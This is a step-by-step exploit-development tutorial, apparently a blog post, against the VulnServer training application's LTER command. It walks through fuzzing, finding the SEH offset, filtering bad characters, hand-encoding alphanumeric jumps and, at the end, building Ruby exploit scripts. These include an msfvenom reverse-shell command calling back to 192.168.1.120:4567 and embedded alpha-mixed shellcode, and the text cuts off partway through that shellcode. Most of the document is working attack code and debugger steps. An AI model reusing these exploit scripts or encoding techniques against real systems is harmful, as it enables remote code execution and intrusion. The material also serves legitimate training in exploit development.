VulnServer: LTER with SEH override and alpha-numeric shellcode

We can fuzz the LTER command with the following spike template:

s_readline();
s_string("LTER ");
s_string_variable("COMMAND");

We quickly experience the following crash:

fuzz crash

We can easily reproduce this crash using the following PoC script:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)
s.puts('LTER /.:/' + 'A' * 5000)
s.close()

To get a better understanding of the crash, we will send a unique string 5000 bytes long. We can generate the string using the following command:

msf-pattern_create -l 5000

We can paste the output into our script, in place of the buffer of A:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'

s.puts('LTER /.:/' + payload)
s.close()

After crashing the service using this payload, we can use !mona findmsp to get the offsets:

mona findmsp

From the output we can see that the nseh field is at offset 3495, followed by 28 bytes of my buffer. The next four bytes are the SEH handler. We can highlight our payload with different markers to see what happens with these memory locations. We change our PoC as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"
# pop pop ret in essfunc.dll at 0x625010b4
payload += "CCCC"
payload += "D" * (5000 - payload.length)

s.puts('LTER /.:/' + payload)
s.close()

If we crash the service now and look at the SEH chain, we will see the following:

seh chain

The nseh record has been override by B, while the next four bytes of C have override the SEH. If we pass the exception to the program, we can see that are our C that go to EIP:

c to eip

And if we look at the stack, we see that the third entry is pointing at our buffer of B, in the nseh record. The first step is now to find a pop pop ret sequence in memory, so that we can remove the first two entries and then return to our controlled buffer.

We can find a suitable address in memory using !mona seh:

mona seh

We can pick the first address in the list and place it in our script in place of the B:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"
# pop pop ret in essfunc.dll at 0x625010b4
payload += "\xb4\x10\x50\x62"
payload += "D" * (5000 - payload.length)

s.puts('LTER /.:/' + payload)
s.close()

If we run this script against the target, VulnServer will crash. If we look again at the SEH chain we can see why this is happening:

seh address filtered

The address has been changed: B4 became a 62. This means that the application is filtering the input and we need to find out which characters can’t be used in our payload. In order to do so, we will send a payload containing all possible hexadecimal characters.

Mona has some useful functionalities to help us in the process. We can use the following command to generate the payload:

!mona bytearray -b "\x00\xb4"

We can exclude \x00 because it’s always a bad characters (and we already faced this for other VulnServer exploits), and we can remove \xb4 because we know it’s bad. The output will be as follows:

mona bytearray

And we can paste this payload into our script, which will look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

payload = "A" * 1000
payload += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"+
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"+
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"+
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"+
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"+
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"+
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"+
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"+
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"+
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"+
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"+
"\xb0\xb1\xb2\xb3\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"+
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"+
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"+
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"+
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload += "C" * (5000 - payload.length)

s.puts('LTER /.:/' + payload)
s.close()

Once we send this payload to the target, the application will crash and we can use another mona function to check the memory for badchars:

!mona compare -f bytearray.bin

This command will scan the memory and compare it with the file that it has previously saved. The output can be long, and interesting (for example it can be that your payload is copied unmodified somewhere else in memory, so you can avoid to cope with bad characters).

In this case, we want to check if our payload is correctly copied after our A.

We can follow the stack looking for our buffer, and we see that our payload with all possible characters is at the address 00b6f61d:

badchars position

We can look for this specific address in mona’s output, we will find the following:

badchars

After this, I removed \x80 from my payload and tried again, just to discover that it was basically the same. If we have a closer look at mona’s output, we see that characters in memory after \x7f, are basically ignored and the first part of the series repeats itself. From \x01 to \xf7, these are all the characters we have.

We can already expect to have some manual encoding to do, because of the very little space we have available. But first, we need to find a suitable return address. We can have a look again at the output of !mona seh:

mona seh ascii

The third entry is composed by allowed charaters, and this is confirmed also by mona, which takes care of let us know that address is an “ascii” address. We can use this address to override SEH. The script will look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"
payload += "D" * (5000 - payload.length)

s.puts('LTER /.:/' + payload)
s.close()

We can set a breakpoint at our return address and have a look at the memory when our pop pop ret sequence is executed.

memory at ret

Just before our return address, the last element of the stack points at our nseh record, followed by the address with which we override SEH and then a small buffer of D. Since the ret instruction will move to EIP whatever is on top of the stack, the four bytes in the nseh will be executed next.

Usually this would be a very easy jump. But the op code for a short unconditional jump is EB, which is a forbidden character. Luckily for us we can use different conditional jumps. The problem with conditional jumps is that not necessarily we are able to create the condition for the jump to be taken.

My favorite way to test conditional jumps, is to take the return and then use the debugger to write the jump instruction.

jump is taken

When we write the instruction in the debugger, a small windows just below the code frame will tell us if the jump is taken or not. Find a jump that is taken from this list: http://www.unixwiz.net/techtips/x86-jumps.html.

In this case, a JUMP IF NOT OVERFLOW (JNO) is good for us, and its op code is 71 which is an allowed character. We can use that to jump after our SEH address.

It’s time to write our first stage payload. We have only 20 bytes, and we can’t jump back because jumps from 01 to 7f are positive jumps, so a jump back need to be encoded.

Since I have four bytes in the nseh record, instead of jumping directly, I will use the first two bytes to store ESP in EAX, because EAX is easily modifiable with instructions within our allowed range. I will set the four bytes of the nseh record as follows:

\x54      push ESP
\x58      pop EAX
\x71\x04  jump +4

After we execute these instructions, the memory of our program will look as follows:

esp offset

Since we will have to push our decoded instructions in memory, in a place where they will be executed, the first thing we have to do is to point ESP at the end of our buffer.

We have already moved ESP into EAX. EAX value is now B6EE50, and our last byte of memory has address B6FFFF. This means that I have to move ESP 0x11AF ahead. Unfortunately, AF is not an allowed character. So I will have to encode this into more than one instruction.

Same goes with the relative jump back. This is the assembly code that will encode our instructions:

[BITS 32]

global _start
_start:

;--- aligning eax, adding 11AF
add ax,0x1111
sub al,0x62
push eax
pop esp

;--- jmp short -126, EB80
sub ax,0x7f14
push eax

We can add this instructions to our script:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

# nseh offset at 3495
payload = "A" * 3495

# we move esp to eax, we jmp forward
payload += "\x54\x58\x71\x04"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"

# sub encode from jmp-126.bin
payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50"
payload += "A" * (5000 - payload.length)

s.puts('LTER /.:/' + payload)
s.close()

And we can follow the execution of these instructions in the debugger:

esp aligned to end

After the pop esp instruction, EAX value gets correctly copied into ESP and this points to the end of our memory. This means that next time we will push something, this will copied just after our code.

jmp back decoded

Notice how, after the push eax instructions, the value of EAX is pushed into the stack. The value is pushed reverse, this is why I only took care of setting the last two bytes of EAX and I didn’t care about the rest.

If we take the jump, we are sent 126 bytes behind the jump position, giving us enough space to encode a bigger jump backwards. This will require once again to align ESP to where we want our shellcode to be decoded. The following asm code will do the job for us:

[BITS 32]

global _start
_start:

;--- saving first instruction position
push esp
pop eax
sub ax,0x0428
push eax
pop ecx

;--- aligning esp to decode jump, -0x20
push esp
pop eax
sub al,0x20
push eax
pop esp

;--- jmp ecx encoded with Slink
and  eax, 0x554e4d4a
and  eax, 0x2a313235
add  eax, 0x41416177
add  eax, 0x41415266
add  eax, 0x41416155
sub  eax, 0x33333333
push eax

The two last blocks are just aligning ESP with our nseh record and decoding a jmp ecx in there. The first block is pointing ECX about a 1000 bytes behind, so that we will have enough space for our shellcode.

An important note: since we are using ECX to store our pointer, we can’t anymore use A as a padding, as A means inc ecx, therefore it will alter our pointer. I will use \x40 which is an inc eax.

Our second stage jump script will look as follows:

#!/usr/bin/ruby
require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

# nseh offset at 3495
payload = "A" * 3400

# sub encode from jmp-ecx.bin
payload += "\x54\x58\x66\x2d\x28\x04\x50\x59\x54\x58\x2c\x20\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x05\x77\x61\x41\x41\x05\x66\x52\x41\x41\x05\x55\x61\x41\x41\x2d\x33\x33\x33\x33\x50"
payload += "\x40" * (3495 - payload.length)

# we move esp to eax, we jmp forward
payload += "\x54\x58\x71\x04"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"

# sub encode from jmp-126.bin
payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50"
payload += "A" * (5000 - payload.length)

s.puts('LTER /.:/' + payload)
s.close()

We can now crash the service and follows the execution.

ecx back in buffer

After pop ecx ECX is correctly pointing back in our buffer.

esp before nseh

After pop esp ESP is currently pointing at the first available byte before our nseh record. And after we manipulate EAX and push it into the stack we can see that a proper jump to ECX (\xFF\xE1) is pushed to the stack, ready to be executed:

jmp ecx pushed to stack

The next thing we have to check, is where in our buffer of A we are actually jumping. We can reach the jump stepping through the instructions and check the memory addresses:

distance jump buffer

We can see that our jump will bring as at B6FBD3, and if we scroll in the memory, we can find the beginning of our buffer of A at B6F235. We can use a calculator to find out that our payload must be placed 2462 characters into our buffer.

We can now generate our payload with the following command:

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=seh -e x86/alpha_mixed BufferRegister=ECX -f ruby

The parameter BufferRegister=ECX is needed in our case, without it, the payload will have some non alpha-numeric characters, that it will use to find its location in memory and decode the shellcode correctly. But we can have only alpha-numerica characters, so we manually saved the location in ECX and pass this register as a parameter to our payload builder.

Unfortunately, if we just paste our payload into the script we will not get a shell. This because in order to decode our jumps, we played with the stack pointer, and the code for the reverse shell will push a lot into the stack and eventually override our code.

This is why we need to restore ESP to its original position, which was B6EE50, while now is B6FFD7. We need to bring it back 0x1187.

We need the following instructions to restore ESP position:

\x54                push esp
\x58                pop eax
\x66\x2d\x77\x11    sub ax,0x1177
\x2c\x10            sub al,0x10
\x50                push eax
\x5c                pop esp

But this instruction will move our shellcode ahead, and we need ECX to point at the beginning of our shellcode, so we need to realign ECX, and we can do it with the following instructions:

\x51                push ecx
\x58                pop eax
\x04\x10            add al,0x10
\x50                push eax
\x59                pop ecx

Notice that we add 0x10, because we have to take into account also the instructions to realign ECX, so in total we have an offset of 16 bytes.

Our exploit will now look as follows:

#!/usr/bin/ruby

require 'socket'

target = '192.168.1.121'
port = 9999

s = TCPSocket.open(target, port)

# nseh offset at 3495
# payload offset at 2462
payload = "A" * 2462

# restoring ESP to original position
payload += "\x54\x58\x66\x2d\x77\x11\x2c\x10\x50\x5c"

# realigning ECX
payload += "\x51\x58\x04\x10\x50\x59"

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=seh -e x86/alpha_mixed BufferRegister=ECX -f ruby
payload += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41" +
"\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" +
"\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6a\x48\x6b" +
"\x32\x63\x30\x65\x50\x73\x30\x55\x30\x4e\x69\x4a\x45\x44" +
"\x71\x4f\x30\x73\x54\x6e\x6b\x52\x70\x66\x50\x4e\x6b\x43" +
"\x62\x56\x6c\x6c\x4b\x46\x32\x37\x64\x6c\x4b\x62\x52\x57" +
"\x58\x74\x4f\x4c\x77\x53\x7a\x75\x76\x35\x61\x4b\x4f\x4c" +
"\x6c\x37\x4c\x73\x51\x71\x6c\x43\x32\x64\x6c\x77\x50\x7a" +
"\x61\x58\x4f\x64\x4d\x75\x51\x78\x47\x7a\x42\x79\x62\x53" +
"\x62\x76\x37\x4c\x4b\x43\x62\x44\x50\x6c\x4b\x52\x6a\x57" +
"\x4c\x6e\x6b\x42\x6c\x72\x31\x64\x38\x38\x63\x61\x58\x37" +
"\x71\x38\x51\x52\x71\x6c\x4b\x71\x49\x31\x30\x53\x31\x78" +
"\x53\x6e\x6b\x47\x39\x36\x78\x38\x63\x67\x4a\x70\x49\x4c" +
"\x4b\x44\x74\x4c\x4b\x57\x71\x58\x56\x64\x71\x4b\x4f\x6e" +
"\x4c\x69\x51\x78\x4f\x56\x6d\x63\x31\x6b\x77\x54\x78\x59" +
"\x70\x51\x65\x49\x66\x76\x63\x61\x6d\x6a\x58\x35\x6b\x31" +
"\x6d\x44\x64\x30\x75\x4b\x54\x66\x38\x4e\x6b\x71\x48\x45" +
"\x74\x47\x71\x69\x43\x72\x46\x4e\x6b\x36\x6c\x30\x4b\x4e" +
"\x6b\x66\x38\x65\x4c\x57\x71\x59\x43\x4e\x6b\x57\x74\x4e" +
"\x6b\x67\x71\x58\x50\x6f\x79\x62\x64\x36\x44\x74\x64\x33" +
"\x6b\x61\x4b\x75\x31\x30\x59\x51\x4a\x36\x31\x59\x6f\x79" +
"\x70\x43\x6f\x33\x6f\x72\x7a\x6e\x6b\x37\x62\x4a\x4b\x6c" +
"\x4d\x43\x6d\x52\x48\x35\x63\x54\x72\x63\x30\x35\x50\x50" +
"\x68\x31\x67\x42\x53\x36\x52\x31\x4f\x43\x64\x32\x48\x70" +
"\x4c\x31\x67\x55\x76\x33\x37\x6b\x4f\x4e\x35\x48\x38\x6e" +
"\x70\x75\x51\x57\x70\x47\x70\x61\x39\x4f\x34\x62\x74\x66" +
"\x30\x33\x58\x77\x59\x4d\x50\x52\x4b\x57\x70\x4b\x4f\x7a" +
"\x75\x70\x50\x32\x70\x52\x70\x66\x30\x73\x70\x30\x50\x73" +
"\x70\x56\x30\x72\x48\x68\x6a\x56\x6f\x79\x4f\x6b\x50\x39" +
"\x6f\x68\x55\x6e\x77\x70\x6a\x63\x35\x33\x58\x49\x50\x39" +
"\x38\x56\x61\x42\x58\x52\x48\x57\x72\x37\x70\x57\x61\x49" +
"\x47\x6c\x49\x68\x66\x72\x4a\x34\x50\x42\x76\x46\x37\x63" +
"\x58\x4e\x79\x4c\x65\x34\x34\x75\x31\x59\x6f\x39\x45\x4f" +
"\x75\x49\x50\x73\x44\x34\x4c\x6b\x4f\x42\x6e\x76\x68\x32" +
"\x55\x58\x6c\x31\x78\x4a\x50\x68\x35\x6f\x52\x70\x56\x6b" +
"\x4f\x49\x45\x35\x38\x72\x43\x62\x4d\x51\x74\x45\x50\x4e" +
"\x69\x7a\x43\x61\x47\x53\x67\x51\x47\x76\x51\x5a\x56\x30" +
"\x6a\x76\x72\x66\x39\x50\x56\x4a\x42\x39\x6d\x61\x76\x39" +
"\x57\x57\x34\x71\x34\x47\x4c\x63\x31\x36\x61\x6e\x6d\x43" +
"\x74\x67\x54\x66\x70\x78\x46\x73\x30\x37\x34\x76\x34\x52" +
"\x70\x50\x56\x76\x36\x76\x36\x42\x66\x76\x36\x70\x4e\x56" +
"\x36\x36\x36\x62\x73\x56\x36\x32\x48\x31\x69\x68\x4c\x75" +
"\x6f\x6d\x56\x59\x6f\x58\x55\x4e\x69\x6d\x30\x52\x6e\x53" +
"\x66\x62\x66\x79\x6f\x50\x30\x55\x38\x37\x78\x4d\x57\x55" +
"\x4d\x35\x30\x6b\x4f\x5a\x75\x6d\x6b\x69\x6e\x74\x4e\x30" +
"\x32\x38\x6a\x35\x38\x6c\x66\x4d\x45\x6f\x4d\x6d\x4d\x59" +
"\x6f\x78\x55\x47\x4c\x33\x36\x63\x4c\x55\x5a\x6f\x70\x79" +
